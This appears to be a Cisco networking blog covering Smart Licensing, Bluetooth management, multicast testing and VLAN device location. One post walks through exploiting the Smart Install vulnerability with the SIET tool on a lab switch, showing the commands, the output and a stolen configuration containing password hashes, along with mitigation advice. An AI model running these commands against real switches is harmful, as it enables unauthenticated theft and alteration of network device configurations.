Tuesday, August 27, 2019

Configuring Cisco Smart Licensing on the Catalyst Platform

According to Cisco Smart Licensing is the future. From the Cisco website:

"Smart Licensing is a cloud-based, software license management solution that allows you to manage and track the status of your license and hardware and software usage trends. Smart Licensing also enables you to automate time-consuming, manual licensing tasks."

The important statement on the website is this statement:

"Licenses are managed as smart licenses from Cisco IOS XE Fuji 16.9.1 and later."

That means that as soon as you upgrade to 16.9.1 or later your Right to Use licensing will no longer work. So how do you set up Smart Licensing on the switch?

It's actually pretty easy but it does require Internet access. You can use a proxy but I am not going to cover that today. If you are building the switches at your office for a customer you can configure the management interface and use your internal network. That is what I am doing in this example. If your switch already has internet access you can skip the management interface configuration.

Set the correct license level

There will be a printed card in the box with the swiitch that lists the type and quantity of licenses that were purchased. Notice in the picture below that the quantity is 17. That is because there were 17 switches on the sales order.

Near the bottom is a bar code label "Order #". This is what Cisco calls the Sales Order (SO) number. You will need this if you contact TAC or the licensing team.



My switches were purchased with network-advantage licensing so I entered the code listed below. If you don't do this, the call-home service will try to register DNA Advantage and Network Advantage licenses. It works, but you get an Alert on the CSSM portal and you will see this in the output of "show license all"

License Usage
==============

C9300 48P DNA Advantage (C9300-48 DNA Advantage):
  Description: C9300 48P DNA Advantage
  Count: 4
  Version: 1.0
  Status: OUT OF COMPLIANCE
  Export status: NOT RESTRICTED


Enter the following to set the license level to network-advantage. Note that a reload is required.


test#Conf t
test(config)#license boot level network-advantage 
test(config)#exit 
test#write memory 
test#show version (showing just the relevant output)

Technology Package License Information:

------------------------------------------------------------------------------
Technology-package                                     Technology-package
Current                        Type                       Next reboot
------------------------------------------------------------------------------
network-advantage       Smart License                    network-advantage
dna-advantage           Subscription Smart License       None
AIR License Level: AIR DNA Advantage
Next reload AIR license Level: AIR DNA Advantage


reload


If you purchased additional add ons such as DNA your boot level command will look like this:

license boot level network-advantage addon dna-advantage 


Configure the Management interface

I was connecting to a LAN with a DHCP server so I used DHCP. If you don't have access to a DHCP server use a valid static IP address.

conf t
test(config)#interface GigabitEthernet0/0
test(config-if)#ip address dhcp
test(config-if)#no shut
exit

Configure routing and host resolution

Smart Licensing uses the "Call-Home" service and must be able to reach tools.cisco.com. I added a host entry since this customer doesn't allow name servers.

Since I am using the management interface I had to use the Mgmt-vrf for the host. Once the switch is installed, the management interface will be down so I added a host outside the Mgmt-vrf

test(config)#ip host vrf Mgmt-vrf tools.cisco.com 72.163.4.38
test(config)#ip host tools.cisco.com 72.163.4.38
test(config)#ip route vrf Mgmt-vrf 72.163.4.38 255.255.255.255 10.253.4.1
test(config)#ip http client source-interface g0/0

The "ip http client" statement must be in the configuration while using the management interface. You must remove if you don't use the management interface after install.

Make sure you can ping tools.cisco.com:

ping vrf Mgmt-vrf tools.cisco.com
Type escape sequence to abort.
Sending 5, 100-byte ICMP Echos to 72.163.4.38, timeout is 2 seconds:
!!!!!

Configure the Smart Call-Home service


test(config)#service call-home
test(config)#license smart transport callhome
test(config)#call-home
test(cfg-call-home)#no http secure server-identity-check
test(cfg-call-home)#profile CiscoTAC-1
test(cfg-call-home-profile)#reporting all
test(cfg-call-home-profile)#destination transport-method http
test(cfg-call-home-profile)#no destination transport-method email
test(cfg-call-home-profile)active
test(cfg-call-home-profile)#end
test#wr mem

Use show commands to review:
sh run | sec call-home
service call-home
call-home
 ! If contact email address in call-home is configured as sch-smart-licensing@cisco.com
 ! the email address configured in Cisco Smart License Portal will be used as contact email address to send SCH notifications.
 contact-email-addr sch-smart-licensing@cisco.com
 no http secure server-identity-check
 profile "CiscoTAC-1"
  active
  destination transport-method http
  no destination transport-method email


sh run | i call
service call-home
call-home
 ! If contact email address in call-home is configured as sch-smart-licensing@cisco.com
license smart transport callhome



Create the Smart Account

Smart licensing requires a "Smart" account before you can activate the license on the switch. To create your account go to CSSM.

When the page loads you will see 5 sections. Look for Administration:


Click on "Request a Smart Account" and follow the instructions.

Create Token

You will need a "token" that gets pasted into the switch. Once you have your account, log in and click on Smart Licensing in the "License" section:




When the page loads click on the Inventory tab.

Click the General tab, click "New Token..."



In the dialog that opens, enter a description and set the number of uses. Cisco recommends 30 and that is what I have been using.



Click "Create Token". You will return to the previous screen. Click on the blue diagonal arrow on the right of the token to copy it to the clipboard. Save the token for use on the switch.

Enter the Token on the switch
From enable mode, not configuration mode, enter:
license smart register idtoken <your token>

and press enter.

You will see "Registration process is in progress. Use the 'show license status' command to check the progress and result" in the CLI.

You can use "show license status" to check on the progress. If everything worked you will see:

Registration:
  Status: REGISTERED
  <Account name>
  Virtual Account: DEFAULT
  Export-Controlled Functionality: ALLOWED
  Initial Registration: SUCCEEDED on Aug 27 13:58:49 2019 PDT
  Last Renewal Attempt: None
  Next Renewal Attempt: Feb 23 13:58:48 2020 PDT
  Registration Expires: Aug 26 13:52:59 2020 PDT

What if it didn't work?

As you can see, there are a lot of things that must go right for this to work. One thing I have run into is the licenses have to be associated with the switch serial number. If they aren't you will see:

License Authorization:
  Status: OUT OF COMPLIANCE on Aug 27 13:58:53 2019 PDT
  Last Communication Attempt: SUCCEEDED on Aug 27 13:58:53 2019 PDT

On the switch. Back on the portal, click on the "Alerts" tab and you will see:


You will need to contact TAC and get the liscense associated with the switch.


If you receive the message
"Operation not supported because the agent is running in Permanent License Reservation mode"

Run the following
(config)#no license smart reservation 



test#sh call-home profile all


Profile Name: CiscoTAC-1
    Profile status: ACTIVE
    Profile mode: Full Reporting
    Reporting Data: Smart Call Home, Smart Licensing
    Preferred Message Format: xml
    Message Size Limit: 3145728 Bytes
    Transport Method: http
    HTTP  address(es): https://tools.cisco.com/its/service/oddce/services/DDCEService
    Other address(es): default

    Periodic configuration info message is scheduled every 1 day of the month at 09:15

    Periodic inventory info message is scheduled every 1 day of the month at 09:00

    Alert-group               Severity
    ------------------------  ------------
    crash                     debug
    diagnostic                minor
    environment               warning
    inventory                 normal

    Syslog-Pattern            Severity
    ------------------------  ------------
    APF-.-WLC_.*              warning
    .*                        major



Show full license status
You can use "show license all" to see the complete license status


test#sh license all
Smart Licensing Status
======================

Smart Licensing is ENABLED

Registration:
  Status: REGISTERED
  Smart Account: The perfect customer
  Virtual Account: DEFAULT
  Export-Controlled Functionality: ALLOWED
  Initial Registration: SUCCEEDED on Aug 27 13:58:49 2019 PDT
  Last Renewal Attempt: SUCCEEDED on Aug 28 09:01:22 2019 PDT
  Next Renewal Attempt: Feb 24 09:01:21 2020 PDT
  Registration Expires: Aug 27 08:55:36 2020 PDT

License Authorization:
  Status: OUT OF COMPLIANCE on Aug 27 13:58:53 2019 PDT
  Last Communication Attempt: SUCCEEDED on Aug 28 09:01:28 2019 PDT
  Next Communication Attempt: Aug 28 21:01:28 2019 PDT
  Communication Deadline: Nov 26 08:55:44 2019 PDT

Export Authorization Key:
  Features Authorized:
    <none>

Utility:
  Status: DISABLED

Data Privacy:
  Sending Hostname: yes
    Callhome hostname privacy: DISABLED
    Smart Licensing hostname privacy: DISABLED
  Version privacy: DISABLED

Transport:
  Type: Callhome

License Usage
==============

C9300 48P DNA Advantage (C9300-48 DNA Advantage):
  Description: C9300 48P DNA Advantage
  Count: 4
  Version: 1.0
  Status: OUT OF COMPLIANCE
  Export status: NOT RESTRICTED

C9300 48P NW Advantage (C9300-48 Network Advantage):
  Description: C9300 48P NW Advantage
  Count: 4
  Version: 1.0
  Status: AUTHORIZED
  Export status: NOT RESTRICTED

Product Information
===================
UDI: PID:C9300-48UXM,SN:FJC2324S042

HA UDI List:
    Active:PID:C9300-48UXM,SN:XXXXXXXS042
    Standby:PID:C9300-48UXM,SN:XXXXXXXE014
    Member:PID:C9300-48UXM,SN:XXXXXXXE04M
    Member:PID:C9300-48UXM,SN:XXXXXXXB02D

Agent Version
=============
Smart Agent for Licensing: 4.8.5.1_rel/8

Reservation Info
================
License reservation: DISABLED


References

Configuring Smart Licensing 




Sunday, August 25, 2019

Using Bluetooth with Cisco's Catalyst 9500

With release 16.12.1 Cisco added support for Bluetooth dongles for management. From the release notes:

The connected dongle acts as a Bluetooth host and serves as a management port connection on the device.

Being able to log on wirelessly using a tiny USB dongle seemed worth some time to figure out. I have an Air-console and it works great but it has to be charged, have a serial to USB cable and is larger than a USB Dongle.

Where to get a Bluetooth USB dongle
I had my Air-Console laying on the table and remembered that it has a USB Bluetooth dongle. I popped it into my Ubuntu laptop and ran "lsusb" to see what chipset it had:

lsusb
Bus 001 Device 012: ID 0a12:0001 Cambridge Silicon Radio, Ltd Bluetooth Dongle (HCI mode)

That is a very common chipset and USB dongles with that chipset are available on ebay for around $4. Search for "CSR 4.0 dongle". If it works on the C9500 that would be great.

Linux has great terminal tools for working with Bluetooth devices. One of them is hciconfig. I ran it to see if the dongle was working on Ubuntu and it was:

hciconfig
hci1:    Type: Primary  Bus: USB
    BD Address: 02:BF:28:F8:B1:ED  ACL MTU: 310:10  SCO MTU: 64:8
    UP RUNNING
    RX bytes:730 acl:0 sco:0 events:56 errors:0
    TX bytes:4877 acl:0 sco:0 commands:56 errors:0

My laptop has Bluetooth built in and it mounts as hci0 so the dongle mounted as hci1. You can see the dongle is working.

Does it work on the C9500

After inserting the dongle I ran:

show platform hardware bluetooth
Controller: 2:bf:28:f8:b1:ed
Type: Primary
Bus: USB
State: UP RUNNING PSCAN ISCAN
Name: BOED-C9500
HCI Version: 4.0

Looks like the dongle from the Air-Console will work and I can use the $4 dongles off ebay. Notice that the switch reports HCI Version 4.0. HCI stands for Host Controller Interface and is the protocol that allows communiction between the host and the controller (Chipset).

The PSCAN means Page Scan and ISCAN means Inquiry scan. See the links in the refeences below for more information.

One thing to note: If you run:
show interface bluetooth 0/4

and there isn't an active Bluetooth connection, it will show Down/Down. You have to use the "show platform hardware bluetooth" to see if the dongle is up.

Configuring the switch

config t
interface bluetooth 0/4
enable
no shut
exit

bluetooth pin 1111
end
wr

This configures the interface and sets a Bluetooth paring PIN of 1111.

I enabled Bluetooth discovery on my iPhone. I saw a device with the hostname of switch and selected it. It connected but it doesn't show the IP address on the bluetooth info page.

Back on the switch I ran:

sh int bluetooth 0/4

Bluetooth0/4 is up, line protocol is up
  Hardware is BT management port, address is 02bf.28f8.b1ed (bia 02bf.28f8.b1ed)
  Internet address is 172.16.0.1/24

I opened Termius on my iPhone and created a host using 172.16.0.1. It connected to the switch and I was in!


On the terminal session on my laptop I saw:

000422: *Aug 25 15:40:08.370: %SEC_LOGIN-5-LOGIN_SUCCESS: Login Success [user: cisco] [Source: 172.16.0.2] [localport: 22] at 15:40:08 PDT Sun Aug 25 2019

Some useful show commands

show platform hardware bluetooth - Show information about the dongle
show ip interface bluetooth 0/4 - Show IP information
show interface bluetooth 0/4 - Show interface information


show ip interface bluetooth 0/4
Bluetooth0/4 is up, line protocol is up
  Internet address is 172.16.0.1/24
  Broadcast address is 255.255.255.255
  Address determined by configuration file
  MTU is 1500 bytes
  Helper address is not set

sh int bluetooth 0/4
Bluetooth0/4 is up, line protocol is up
  Hardware is BT management port, address is 02bf.28f8.b1ed (bia 02bf.28f8.b1ed)
  Internet address is 172.16.0.1/24
  MTU 1500 bytes, BW 1000000 Kbit/sec, DLY 10 usec,
     reliability 255/255, txload 1/255, rxload 1/255
  Encapsulation ARPA, loopback not set
  Keepalive set (10 sec)

References


Cisco's officially supported dongles
The following external USB Bluetooth dongles are supported:
    BTD-400 Bluetooth 4.0 Adapter by Kinivo
    Bluetooth 4.0 USB Adapter by Asus
    Mini Bluetooth Wireless USB 4.0 Dongle Adapter by Adnet
    Bluetooth 4.0 USB Adapter by Insignia

Configuring an External USB Bluetooth Dongle - Requires a Cisco CCO login
Linux bluetooth setup with bluez and hcitool
Bluetooth Page Scan
Bluetooth Basic - Sparkfun


Monday, May 20, 2019

Attacking the Cisco Smart Install Vulnerability

The Cisco Smart Install service has been around for a long time, at least back to IOS 12.2.55. It suffers from a serious security vulnerability that allows an unauthenticated user to download the configuration or execute commands on the switch. Cisco released updates in late 2018 to resolve the issue but there are probably millions of switches out there that haven't been upgraded yet.

Here is an article from the guys that found the exploit https://embedi.org/blog/cisco-smart-install-remote-code-execution/. Their PoC code crashes the switch. As always, a crash is the first step in developing a usable exploit.

They list the following models as vulnerable:

  • Catalyst 4500 Supervisor Engines
  • Catalyst 3850 Series
  • Catalyst 3750 Series
  • Catalyst 3650 Series
  • Catalyst 3560 Series
  • Catalyst 2960 Series
  • Catalyst 2975 Series
  • IE 2000
  • IE 3000
  • IE 3010
  • IE 4000
  • IE 4010
  • IE 5000
  • SM-ES2 SKUs
  • SM-ES3 SKUs
  • NME-16ES-1G-P
  • SM-X-ES3 SKUs


Notice it includes the Industrial Ethernet series. That's unfortunate given that those switches are likely to be in industrial plants and other locations where an attacker can do real physical damage.


My advice is to add "no vstack" to your deployment template unless you are actually using Smart Install. Also, as a Cisco best practice, the switch's management plane should be on a vlan that is only accessible to trusted users.

There is a working exploit available from this github repository - SIET.

As you can see in the exploit description, there are several things you can do:

-t test device for smart install.
-g get device config.
-c change device config.
-u update device IOS.
-e execute commands in the device's console.
-i ip address of target device
-l ip list of targets (file path)
--thread-count number of threads to be spawned

Let's exploit a switch

As always, do not run this on a switch you don't own or have explicit written permission to.

Is vstack running? 

The tool can quickly check

->sudo python siet.py -t -i 192.168.10.52
[INFO]: Sending TCP packet to 192.168.10.52
[INFO]: Smart Install Client feature active on 192.168.10.52
[INFO]: 192.168.10.52 is affected


If you are logged into a switch there are a couple quick ways to verify
3750x#sh tcp brief all 
TCB       Local Address           Foreign Address        (state)
078C6E60  192.168.10.52.22        192.168.10.183.50902   ESTAB
07B162A8  *.4786                  *.*                    LISTEN
06FA06BC  *.443                   *.*                    LISTEN
06F9FCFC  *.443                   *.*                    LISTEN
06F9F33C  *.80                    *.*                    LISTEN
06F9E97C  *.80                    *.*                    LISTEN

Having port 4786 open means Smart Install is running.

or

3750x#sh vstack config 
 Role: Client (SmartInstall enabled)
 Vstack Director IP address: 0.0.0.0

 *** Following configurations will be effective only on director ***
 Vstack default management vlan: 1
 Vstack start-up management vlan: 1
 Vstack management Vlans: none
 Join Window Details:
Window: Open (default)
Operation Mode: auto (default)
 Vstack Backup Details:
Mode: On (default)
Repository: 

Note that is says "Vstack default management vlan: 1" but I am successfully attacking on vlan 10.

So Smart Install is running on a 3750-x in my lab. The switch is running c3750e-universalk9-mz.150-2.SE10. I started out with c3750e-universalk9-tar.152-4.E7 but the switch would reload when I ran the tool with Smart Install enabled. Once I installed c3750e-universalk9-mz.150-2.SE10 I was able to download the full configuration without any credentials or SNMP RW string.

NOTE: The tool uses its own python tftp server so it will fail if you already have a tftp server running. In my case I had just uploaded the 15.2.SE10 firmware and the tftp server was running. It took me a minute to figure out why the tool was failing:
[INFO]: binding socket .. error: [Errno 98] Address already in use

First, let's see who's logged into the switch


3750x#who
    Line       User       Host(s)              Idle       Location
*  1 vty 0     mhubbard   idle                 00:00:00 192.168.10.183

What type of authentication is in use

3750x#sh run | sec aaa 
aaa new-model
aaa group server radius ISE-group
 server name ISE
!

3750x#test aaa group ISE-group mhubbard ************** new-code 
User successfully authenticated

USER ATTRIBUTES

service-type         0   7 [NAS Prompt]
Framed-Protocol      0   1 [PPP]
service-type         0   2 [Framed]
priv-lvl             0   15 (0xF)

So the switch is using RADIUS authentication and is connected to the RADIUS Server. I know that for sure because my account password had expired and I had to log into my Windows server and change it before I could log into the switch!

Download the configuration without any credentials

Run the Smart Install Exploitation Tool with the "-g" flag to download the configuration:

~/Dropbox/03_Tools/SIET$ 
->sudo python siet.py -g -i 192.168.10.52
-= DvK =- TFTP server 2017(p)
[INFO]: Directory already exists. OK.
[INFO]: binding socket .. ok
[INFO]: Sending TCP packet to 192.168.10.52 
[INFO]: Package send success to 192.168.10.52: 
[INFO]: Getting config done
[INFO]: All done! Waiting 60 seconds for end of connections...
[INFO]: connect from  192.168.10.52 58422
[INFO]:[192.168.10.52] puting file 192.168.10.52.conf octet
[INFO]:[192.168.10.52]:[put] success binding data port 44000
[INFO]:[192.168.10.52]:[put] file tftp/192.168.10.52.conf finish download, size: 14351

Show the file in SIET's tftp folder

mhubbard@1S1K-G5-5587:~/Dropbox/03_Tools/SIET/tftp$ 
->ls -l
total 20
-rw-r--r-- 1 root root 14351 May 19 21:53 192.168.10.52.conf
-rw-r--r-- 1 root root    51 Mar  5 14:33 execute.txt


Display the configuration that was downloaded

cat 192.168.10.52.conf 

!
! No configuration change since last restart
!
version 15.0
no service pad
service timestamps debug datetime msec
service timestamps log datetime msec
service password-encryption
!
hostname 3750x
!
boot-start-marker
boot-end-marker
!
!
enable secret 5 $1$Ew15$ZstYXs4B38G/T710NavOV1
!
username cisco privilege 15 secret 5 $1$llTp$rNcLr9Y7GkG/zVmOdHNVR1
username hubbard privilege 15 secret 5 $1$5WVT$zWpFHuH2/FdDcQlOOchfS1
aaa new-model
!
!
aaa group server radius ISE-group
 server name ISE
!

Conclusion

Cisco Smart Install is very useful if you support remote sites without IT staff but you must be aware of this vulnerability. If you use the Cisco best practice of ACLing the management plane to only a trusted network you are probably not at much risk until you upgrade.

Speaking of Cisco best practices, the guys that wrote SIET also write a fantastic tool called the Cisco Configuration Analysis Tool (CCAT). It takes your switch config and runs it against the "Hardening Cisco IOS Devices" document and shows all the best practices that you are running and more importantly, any that you are missing.

You can check out the CCAT here

Saturday, April 6, 2019

Troubleshooting Multicast Routing

Mulitcast is used for applications like paging and bell systems (Bogen and Valcom for example) and Apple Airplay for screen sharing and Airprint for printing as well as many others. On home networks with one VLAN there are seldom any issues getting the multicast applications to work.

In an enterprise network with multiple VLANs, the switch must be configured for multicast to be routed correctly. Troubleshooting multicast issues can be time-consuming and without some tools almost impossible.

Linux has several terminal commands for checking Multicast status of an interface:

ip maddr show - list all multicast interfaces

Example:
ip maddr show
1: lo
inet  224.0.0.251
inet  224.0.0.1
2: wlp0s20f3
inet  224.0.0.251 users 4
inet  224.0.0.1

ip addr show <interface> - Look for MULTICAST

Example:
ip addr show wlp0s20f3 
3: wlp0s20f3: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000

ip link show <interface> | grep MULTICAST

Example:
ip link show wlp0s20f3 | grep MULTICAST
3: wlp0s20f3: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP mode DORMANT group default qlen 1000

Enable/Disable Multicast
sudo ip link set dev <interface> multicast [on|off]

netstat -g - Lists all multicast interfaces

Example:
netstat -g
IPv6/IPv4 Group Memberships
Interface       RefCnt Group
--------------- ------ ---------------------
lo              1      224.0.0.251
lo              1      all-systems.mcast.net
enp60s0         1      all-systems.mcast.net
wlp0s20f3       4      224.0.0.251
wlp0s20f3       1      all-systems.mcast.net

Pinging Multicast groups

ping -r -I wlp0s20f3 -t 1 -c 2 224.0.0.1
PING 224.0.0.1 (224.0.0.1) from 192.168.10.183 wlp0s20f3: 56(84) bytes of data.
64 bytes from 192.168.10.52: icmp_seq=1 ttl=255 time=3.89 ms
64 bytes from 192.168.10.50: icmp_seq=1 ttl=64 time=4.20 ms (DUP!)
64 bytes from 192.168.10.51: icmp_seq=1 ttl=64 time=5.50 ms (DUP!)
64 bytes from 192.168.10.50: icmp_seq=2 ttl=64 time=1.55 ms

-r - Bypass the normal routing tables and send directly to a host on an attached interface.  If the host is not on a directly-attached network, an error is returned.  This option can be used to ping a local host through an interface that has no route through it provided the option -I is also used.

-I - interface is either an address, or an interface name.  If interface is an address, it sets source address to specified interface address.  If interface is an interface name, it sets source interface to specified interface.

-t - ttl ping only.  Set the IP Time to Live.

-c - Count


On Linux, there are several free open source tools available for testing multicast. In this blog, I am going to demonstrate two tools
mcjoin - Simple multicast testing application for UNIX
omping - Open Multicast ping

The lab consists of:
Cisco 3750x switch running c3750e-universalk9-mz.152-3.E1 with an IP Services license
Ubuntu 18.04 laptop with IP Address 10.112.40.1/23
Ubuntu 18.04 laptop with IP Address 192.168.10.183/24

Vlan 10 - 192.168.10.0/24
Vlan 46 - 10.112.40.0.23

m c j o i n - tiny multicast testing tool

mcjoin is a very simple and easy-to-use tool to test IPv4 and IPv6 multicast. it features:

    an optional multicast generator (server)
    an end device that can act as a data sink (client)
    supports joining one or more groups:
        ASM (*,G) support
        SSM (S,G) support
    IPv4
    IPv6

Installing mcjoin

Download mcjoin_2.4_amd64.deb from mcjoin releases and double click to install.

The manual page for mcjoin is very good. Open it by running
man mcjoin

Simple usage example

Sender - 192.160.10.183/24 Vlan 10
Receiver - 10.112.40.1/23 Vlan46

sender$ mcjoin -s

receiver$ mcjoin
joined group 225.1.2.3 on eth0 ...
..................................................................
Received total: 66 packets
receiver$

In this example, you start mcjoin on the sender laptop with the -s switch and mcjoin with no options on the receiver laptop. After 30 seconds or so press ctrl+c to stop the process. If multicast was successful you see the number of packets that were received.

A more advanced example

Say you want to verify that your topology can forward 5 consecutive groups in the MCAST_TEST_NET, as defined in RFC5771.  Simply add the following as a standalone argument to both the receiver and the sender: 233.252.0.1+5.

On the sender
./mcjoin -s 233.252.0.1+5

On the Receiver
./mcjoin -t3 -i wlp0s20f3 233.252.0.1+5
joined group 233.252.0.1 on wlp0s20f3 ...
joined group 233.252.0.2 on wlp0s20f3 ...
joined group 233.252.0.3 on wlp0s20f3 ...
joined group 233.252.0.4 on wlp0s20f3 ...
joined group 233.252.0.5 on wlp0s20f3 ...
..................................^C
Group 233.252.0.1 received 40 packets
Group 233.252.0.2 received 40 packets
Group 233.252.0.3 received 40 packets
Group 233.252.0.4 received 40 packets
Group 233.252.0.5 received 40 packets
Received total: 200 packets


Using omping (open multicast ping)

omping is available from the same github site as mcjoin.

Install omping
https://github.com/troglobit/omping/

Simple example with two hosts. You can use more than two hosts.

Run the following on both laptops

./omping 10.112.40.1 192.168.10.183
10.112.40.1 : waiting for response msg
10.112.40.1 : joined (S,G) = (*, 232.43.211.234), pinging
10.112.40.1 :   unicast, seq=1, size=69 bytes, dist=1, time=1.669ms
10.112.40.1 :   unicast, seq=2, size=69 bytes, dist=1, time=3.906ms
10.112.40.1 : multicast, seq=2, size=69 bytes, dist=1, time=4.177ms
10.112.40.1 :   unicast, seq=3, size=69 bytes, dist=1, time=3.564ms
10.112.40.1 : multicast, seq=3, size=69 bytes, dist=1, time=3.860ms
^C
10.112.40.1 :   unicast, xmt/rcv/%loss = 3/3/0%, min/avg/max/std-dev = 1.669/3.046/3.906/1.205
10.112.40.1 : multicast, xmt/rcv/%loss = 3/2/33% (seq>=2 0%), min/avg/max/std-dev = 3.860/4.019/4.177/0.224

On the Switch


sh ip igmp groups 
IGMP Connected Group Membership
Group Address    Interface                Uptime    Expires   Last Reporter   Group Accounted
233.89.188.1     Vlan10                   02:12:24  00:02:37  192.168.10.50   
239.255.255.254  Vlan10                   02:12:24  00:02:41  192.168.10.221  
239.255.255.250  Vlan10                   02:12:25  00:02:40  192.168.10.239  
232.43.211.234   Vlan10                   00:00:02  00:02:57  192.168.10.183  
232.43.211.234   Vlan46                   00:00:13  00:02:46  10.112.40.1     
224.0.1.60       Vlan10                   02:12:24  00:02:43  192.168.10.239  
224.0.1.40       Vlan10                   01:52:28  00:02:36  192.168.10.52   
224.0.1.140      Vlan10                   02:12:24  00:02:39  192.168.10.254  

Using omping to test multicast with a specified multicast IP and port

From 192.168.10.183


./omping -m 233.252.0.1 -p 9106 10.112.40.1 192.168.10.183
10.112.40.1 : waiting for response msg
10.112.40.1 : waiting for response msg
10.112.40.1 : joined (S,G) = (*, 233.252.0.1), pinging
10.112.40.1 :   unicast, seq=1, size=69 bytes, dist=1, time=1.574ms
10.112.40.1 : multicast, seq=1, size=69 bytes, dist=1, time=53.798ms
10.112.40.1 :   unicast, seq=2, size=69 bytes, dist=1, time=2.608ms
10.112.40.1 : multicast, seq=2, size=69 bytes, dist=1, time=2.608ms
10.112.40.1 :   unicast, seq=3, size=69 bytes, dist=1, time=1.679ms
10.112.40.1 : multicast, seq=3, size=69 bytes, dist=1, time=1.809ms
10.112.40.1 :   unicast, seq=4, size=69 bytes, dist=1, time=1.595ms
10.112.40.1 : multicast, seq=4, size=69 bytes, dist=1, time=1.901ms
10.112.40.1 :   unicast, seq=5, size=69 bytes, dist=1, time=1.811ms
10.112.40.1 : multicast, seq=5, size=69 bytes, dist=1, time=2.043ms
10.112.40.1 : waiting for response msg
10.112.40.1 : server told us to stop

10.112.40.1 :   unicast, xmt/rcv/%loss = 5/5/0%, min/avg/max/std-dev = 1.574/1.853/2.608/0.432
10.112.40.1 : multicast, xmt/rcv/%loss = 5/5/0%, min/avg/max/std-dev = 1.809/12.432/53.798/23.126


On the switch

sh ip igmp groups
IGMP Connected Group Membership
Group Address    Interface                Uptime    Expires   Last Reporter   Group Accounted
233.89.188.1     Vlan10                   02:13:26  00:02:34  192.168.10.50   
239.255.255.254  Vlan10                   02:13:26  00:02:33  192.168.10.221  
239.255.255.250  Vlan10                   02:13:27  00:02:40  192.168.10.239  
233.252.0.1      Vlan10                   00:00:09  00:00:01  192.168.10.183  
233.252.0.1      Vlan46                   00:00:13  00:02:46  10.112.40.1     
224.0.1.60       Vlan10                   02:13:27  00:02:37  192.168.10.239  
224.0.1.40       Vlan10                   01:53:31  00:02:41  192.168.10.52   
224.0.1.140      Vlan10                   02:13:26  00:02:36  192.168.10.254  


Switch Configuration

3750x(config)#ip multicast-routing distributed 

interface vl 10
 ip address 192.168.10.52 255.255.255.0
 no ip redirects
  ip pim sparse-mode
end

interface Vlan46
 ip address 10.112.41.254 255.255.254.0
 ip helper-address 192.168.10.221
  ip pim sparse-mode
end

Create a loopback to use as the rendezvous point (RP)
interface Loopback0
 ip address 10.10.10.10 255.255.255.255
end

Create the Rendevouz point (RP)
ip pim rp-address 10.10.10.10

Show the rendezvous point
sh ip pim rp            
Group: 233.89.188.1, RP: 10.10.10.10, next RP-reachable never
Group: 239.255.255.254, RP: 10.10.10.10, next RP-reachable never
Group: 239.255.255.250, RP: 10.10.10.10, next RP-reachable never
Group: 233.252.0.1, RP: 10.10.10.10, next RP-reachable never
Group: 224.0.1.60, RP: 10.10.10.10, next RP-reachable never
Group: 224.0.1.40, RP: 10.10.10.10, next RP-reachable never
Group: 224.0.1.140, RP: 10.10.10.10, next RP-reachable never

sh ip multicast 
  Multicast Routing: enabled
  Multicast Multipath: disabled
  Multicast Route limit: No limit
  Multicast Fallback group mode: Dense
  Number of multicast boundaries configured with filter-autorp option: 0
  MoFRR: Disabled

From the Cisco multicast manual - Mulitcast configuration on an SVI
An SVI—A VLAN interface created by using the interface vlan vlan-id global configuration command. You will also need to enable IP PIM sparse-dense-mode on the VLAN, join the VLAN as a statically connected member to an IGMP static group, and then enable IGMP snooping on the VLAN, the IGMP static group, and physical interface. These interfaces must have IP addresses assigned to them. 

sparse-mode - Enables sparse mode of operation. If you configure sparse mode, you must also configure an RP. 

sh ip igmp snooping 
Global IGMP Snooping configuration:
-------------------------------------------
IGMP snooping                : Enabled
IGMPv3 snooping (minimal)    : Enabled
Report suppression           : Enabled
TCN solicit query            : Disabled
TCN flood PortFast           : Disabled
TCN flood query count        : 2
Robustness variable          : 2
Last member query count      : 2
Last member query interval   : 1000

Vlan 10:
--------
IGMP snooping                       : Enabled
IGMPv2 immediate leave              : Disabled
Multicast router learning mode      : pim-dvmrp
CGMP interoperability mode          : IGMP_ONLY
Robustness variable                 : 2
Last member query count             : 2
Last member query interval          : 1000

Vlan 46:
--------
IGMP snooping                       : Enabled
IGMPv2 immediate leave              : Disabled
Multicast router learning mode      : pim-dvmrp
CGMP interoperability mode          : IGMP_ONLY
Robustness variable                 : 2
Last member query count             : 2
Last member query interval          : 1000


References


Sunday, February 17, 2019

Locate IP devices on the wrong vlan

When replacing switches, sometimes a device like a Building Automation Control (BACnet) controllers or fire alarm quits working. This is usually because they got patched into the wrong port and now the IP address doesn’t work.

Since these devices normally have static IP addresses and seldom send a packet outbound, their MAC addresses don't register on the switch. This can lead to lost time and aggravation trying to get them back online, especially if they are in a remote cabinet or a switch that is physically hard to reach. This blog will show a process to reduce the time needed to locate the port the device is connected to, so that the problem can be resolved.


Here are the steps to take before the cutover


On the core switch

 

First, ping all host addresses for subnets of interest on the core switch. This will refresh the arp cache so that devices like BACnet controllers and alarms that have timed out will be in the cache. To do that:

  • Execute show run | i ^_ip address - The i means include, the ^ means start at the first character, the _ means look for one space, and ip address is the string to look for. This regex returns just IP addresses from the SVIs, not every instance of the string ip address.
  • Copy the output to a text file named vlans.txt
  • Run the python3 script pinger.py - You can download the script and read its documentation here. This script converts the subnet address into hosts and pings each host.
  • Execute show ip arp
  • Copy the output to a text file named arp.txt
  • Run the python3 script arp.py - You can download the script and read its documentation here. This script creates a json database of the MAC address/IP address mappings and is used with the next script.

On each edge switch

  • Execute show mac add int g1/0/1 | i Gi for each edge port on the switch.
  • Copy the output to a text file named mac-addr.txt. I created a spreadsheet with the necessary commands for several Cisco models and Rukus (Brocade) switches. You can download it here.
  • Run the python3 script macaddr.py  - You can download the script and read its documentation here.

The last step creates a listing of switch ports with the IP address, MAC address, Port and MAC Manufacture: 

Device Name: Test.MDF
Vlan   IP Address       MAC Address       Type       Interface   Vendor
--------------------------------------------------------------------------------
  16   172.16.16.9        0020.4adb.3e21    DYNAMIC    Gi1/0/5     Pronet
--------------------------------------------------------------------------------
  26   172.16.26.94       54ee.7505.86b5    DYNAMIC    Gi1/0/14    WistronI
--------------------------------------------------------------------------------
  23   172.16.23.117      5442.49a1.06c6    DYNAMIC    Gi1/0/47    Sony
--------------------------------------------------------------------------------
  20   172.16.20.153      000c.820d.007e    DYNAMIC    Gi2/0/24    NetworkT
--------------------------------------------------------------------------------
  20   172.16.20.96       0040.9d97.a3aa    DYNAMIC    Gi2/0/26    Digiboar
--------------------------------------------------------------------------------
